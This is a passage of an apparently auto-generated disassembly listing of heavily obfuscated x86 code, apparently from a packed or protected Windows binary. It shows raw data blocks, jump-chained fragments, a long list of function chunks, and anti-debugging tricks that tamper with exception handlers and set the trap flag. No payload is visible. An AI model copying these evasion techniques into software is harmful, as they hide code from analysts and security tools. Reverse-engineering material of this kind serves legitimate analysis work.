--------------------------------------------------------------------------- dd 68F6467h, 4870000h, 0C65824h, 8D1E6800h, 81E90043h dd 0FFFFD8h, 0C300C600h, 3B81E8h, 0C9C56800h, 0E9580369h dd 30CEh, 5BA57968h ; --------------------------------------------------------------------------- db 2Eh ; DATA XREF: sub_43F688+2Fo pop dword ptr fs:0 xchg eax, [esp] pop eax push ecx jmp loc_43A27A ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF36Bh dword_439C94 dd 5F0307C6h, 0C69E6568h, 70E9581Bh, 85FFFFE0h, 0F277E9DEh ; DATA XREF: _802izwe5:loc_437A8Do dd 8B00FFFFh, 3EF781C7h, 0E94B3543h, 1543h, 53018900h dd 52C9E8h, 0EE4AE900h, 300FFFFh, 0E8575AC2h, 13A4h, 0CB850000h dd 0FFECEFE9h, 2C600FFh, 0C0C15A0Fh, 0F3E8810Ah, 81AD12E4h dd 82F3B0E0h, 0EF08178h, 0E9EAC7B2h, 127Ch, 0C9810000h dd 379E1FB4h, 533E850Fh, 77E90000h, 8100003Fh, 535781E1h dd 0E9FB3343h, 532Ch, 0C181CC8Bh, 10h, 1C7098Bh, 10013h dd 0C181C033h, 4, 28AAE9h, 0F000000h, 0FFF25080h db 0FFh, 8Bh, 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C034 loc_439D3F: ; CODE XREF: sub_43C034:loc_43D28Ej xor edx, 4FFF5979h add ecx, edx pop edx mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43B494 ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439D59: ; CODE XREF: sub_439ED1+59EFj jnz loc_43EC04 lodsb call loc_43C6A1 loc_439D65: ; CODE XREF: sub_439ED1+5504j jmp nullsub_13 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_439D6B: ; DATA XREF: sub_43D31A+6o mov fs:0, esp jmp loc_43EE19 ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFFB2Dh, 90A3C781h, 820FA377h, 56C2h, 0EB98B3BEh dd 0FB15E90Ch, 18BFFFFh, 77BE953h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EACE loc_439D9B: ; CODE XREF: sub_43EACE-383j xchg eax, [esp+8+var_8] or eax, 100h xchg eax, [esp+8+var_8] popf nop jmp near ptr dword_437814+6 ; END OF FUNCTION CHUNK FOR sub_43EACE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_439DAF: ; CODE XREF: sub_43C65A+2CAj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_437F98 ; END OF FUNCTION CHUNK FOR sub_43C65A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] db 0E9h, 66h, 0D5h dd 0BF57FFFFh, 43CB49h, 2739E9h, 468C0F00h, 8700004Ah dd 8959240Ch, 4C18101h, 68000000h, 43CB1Ch, 57BAE9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_439E03: ; CODE XREF: _802izwe5:00439E97j mov [ecx], eax xor edx, eax pop dword ptr fs:0 xchg eax, [esp] pop eax xchg eax, [esp] jmp loc_43AAB5 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439E1A: ; CODE XREF: sub_439ED1+F52j call near ptr sub_43D40D add cl, ch ; CODE XREF: _802izwe5:0043E2EAj jz short near ptr loc_439E3D+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_439E25: ; CODE XREF: _802izwe5:0043C146j jmp loc_43C1D2 ; --------------------------------------------------------------------------- or eax, 0CC58277Eh xor eax, 0F8B8DB8Dh lodsd lds edx, [edi-41h] cmpsb jle short loc_439E80 loc_439E3D: ; CODE XREF: sub_439ED1-B0j add cl, ch retn 3Dh ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_439E45 proc near ; CODE XREF: sub_439ED1:loc_43DA18p ; FUNCTION CHUNK AT 0043E1EA SIZE 00000005 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43E1EA sub_439E45 endp ; --------------------------------------------------------------------------- loc_439E56: ; CODE XREF: _802izwe5:0043D391j mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], 437A3Bh xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439E70: ; CODE XREF: sub_439ED1+275j jmp loc_43B398 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 jmp loc_43DF39 ; --------------------------------------------------------------------------- db 67h dd 268964h ; --------------------------------------------------------------------------- loc_439E80: ; CODE XREF: _802izwe5:00439E3Bj add cl, ch xor esi, esp ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_439E86: ; DATA XREF: sub_4383D9+3o xchg ebp, [esp] mov ebx, 4388B3h jmp loc_43C31B ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_439E95: ; CODE XREF: _802izwe5:0043B91Fj adc edi, ebx jmp loc_439E03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_439E9C: ; CODE XREF: sub_43C65A+277j xchg ecx, [esp-0Ch+arg_4] mov ebp, ecx pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 loc_439EA4: ; CODE XREF: _802izwe5:0043E824j jmp loc_43DFE5 ; --------------------------------------------------------------------------- loc_439EA9: ; CODE XREF: _802izwe5:0043AEAFj jmp loc_43D905 ; --------------------------------------------------------------------------- dw 5600h ; CODE XREF: sub_439ED1+4741j ; --------------------------------------------------------------------------- jmp loc_43F186 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_439EB7: ; CODE XREF: _802izwe5:0043BE56j jno loc_43EEA8 xchg ecx, [esp] pop ecx xchg esi, [esp] jmp loc_439866 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0F23CD4D3h db 0EAh ; =============== S U B R O U T I N E ======================================= sub_439ED1 proc far ; CODE XREF: sub_43E22A-402p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 004373F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437668 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004376AD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00437722 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043772E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043783A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004378DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004378FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437963 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004379A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004379B2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00437BD4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00437BE0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00437BF4 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00437C24 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00437C44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437C94 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00437F58 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00437F9D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043801E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00438054 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043808C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438093 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004380F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043812F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043813F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00438202 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00438352 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00438400 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004384A5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004384B4 SIZE 00000092 BYTES ; FUNCTION CHUNK AT 00438581 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00438616 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043863A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438762 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004387FE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00438877 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043887F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004388F8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004389C0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00438A20 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00438A48 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00438A82 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00438C7A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00438CE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438D36 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00438D8A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00438DE0 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00438E78 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00438EAB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00438EE5 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00438F33 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00438FDC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00439032 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439226 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004392B2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004392FA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00439331 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043941F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043944A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004395A7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004396A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004396FF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043974E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043977C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004397FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439874 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00439944 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00439954 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043999E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004399D8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004399F7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00439A60 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00439B47 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00439C3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439C47 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439D59 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00439E1A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00439E70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ADE7 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043AE09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AE17 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043AE3F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043AEFA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043AF82 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043AF86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AFBB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043AFED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AFF4 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0043B019 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043B03F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043B0B8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043B0F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B0FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B10C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043B136 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043B147 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B169 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B188 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043B216 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043B25C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043B27D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B2D0 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0043B315 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043B376 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043B398 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043B3E2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043B400 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B4D4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043B507 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043B52C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B542 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B595 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B5BF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043B71F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B74D SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0043B7BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B802 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B81C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B832 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B8AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B8E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B96A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043B9F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BA03 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BA85 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043BB26 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BB41 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043BB51 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043BBF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BC0A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BC5C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BC91 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043BD55 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043BDB1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BDB8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043BDD5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BE15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BE23 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BE79 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043BEB1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BF43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BF6E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BFCB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043C022 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043C18E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043C236 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043C287 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043C2AB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043C340 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C34C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C358 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043C378 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043C3AE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043C3CC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043C41E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043C43D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043C47F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C486 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C4BE SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043C4DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C4EC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043C4F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C52A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043C571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C631 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0043C9E5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043CA13 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043CA63 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043CA83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CAD5 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043CADF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CAF6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043CB3D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043CC0D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043CCA8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043CCC4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043CCE4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043CD06 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043CDEB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CDF8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043CE24 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043CE50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CE76 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043CECB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CED2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043CFB5 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043CFE8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043D018 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043D054 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D079 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043D0A9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043D11A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043D17D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043D1D0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043D2B2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043D443 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043D4AB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043D4E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D587 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043D5DA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043D6DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D71D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043D777 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043D78B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0043D7E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D828 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D8F1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043D9D7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043DA18 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043DA58 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043DA7F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043DAF5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043DB12 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043DB45 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DB50 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DB5D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043DBB4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043DC91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DD06 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043DD84 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DE3B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043DE5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DE86 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043DEB1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043DEC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DECF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DF54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DFFA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E01B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E045 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043E05F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E071 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043E083 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043E0E8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043E0FA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043E117 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E16E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043E1B7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E1C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E1E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E23D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E278 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043E2B4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043E2FC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043E316 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043E385 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043E395 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E3D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E454 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043E460 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E503 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E56B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043E599 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E602 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043E61F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043E71C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043E740 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E79D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043E7BB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043E7F8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043E83D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043E88A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043E8CA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043E9BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EA16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EA36 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043EA5F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043EA67 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043EA72 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EAFD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043EB87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EB9B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043EBC0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043EC04 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043EC58 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0043EC7B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043ECB2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043ED1C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043ED28 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043EDB0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043EDF2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EE54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EE91 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043EEAE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043EF47 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EF7F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043EFA8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043F01A SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0043F0A0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043F0EF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F1E5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F237 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F267 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043F31B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043F37C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F39D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F3CD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043F3E6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043F406 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F44F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043F504 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F535 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043F558 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043F58E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F595 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F5D6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F662 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043F782 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043F813 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043F842 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043F846 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F8B0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043F9B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F9D1 SIZE 00000012 BYTES xchg ebx, [esp-18h+arg_10] pop ebx push esi mov esi, offset loc_43ADD3 jmp loc_43ADC1 ; --------------------------------------------------------------------------- dd 0F18B5600h, 0E9243487h, 1DAh, 7EE9D00Bh db 3Fh, 2 dup(0) byte_439EF3 db 8Bh ; DATA XREF: sub_439ED1:loc_438352o dd 0CEA76800h, 0BBE90043h, 0FFFFE1h, 12D45F68h, 0C8815820h dd 0D99B8E70h, 0E90EC0C1h, 0FFFFEA53h, 80B80000h, 0E9589BF2h dd 0FFFFD9A0h ; --------------------------------------------------------------------------- loc_439F20: ; CODE XREF: sub_439ED1-15D3j add ecx, ebp pop dword ptr fs:0 xchg eax, [esp-8+arg_4] pop eax jmp loc_43DA7F ; --------------------------------------------------------------------------- loc_439F31: ; CODE XREF: sub_43F688+4Ej jnb loc_439B47 xchg edx, [ebp+0] jmp loc_43A20E ; --------------------------------------------------------------------------- loc_439F3F: ; DATA XREF: sub_43D6F6-A59o push ecx push 3FDB6554h push edx mov edx, ecx xchg edx, [esp+0] mov ecx, offset byte_43CAC1 jmp loc_43E278 ; --------------------------------------------------------------------------- align 2 mov ecx, esp add ecx, 10h mov ecx, [ecx] mov 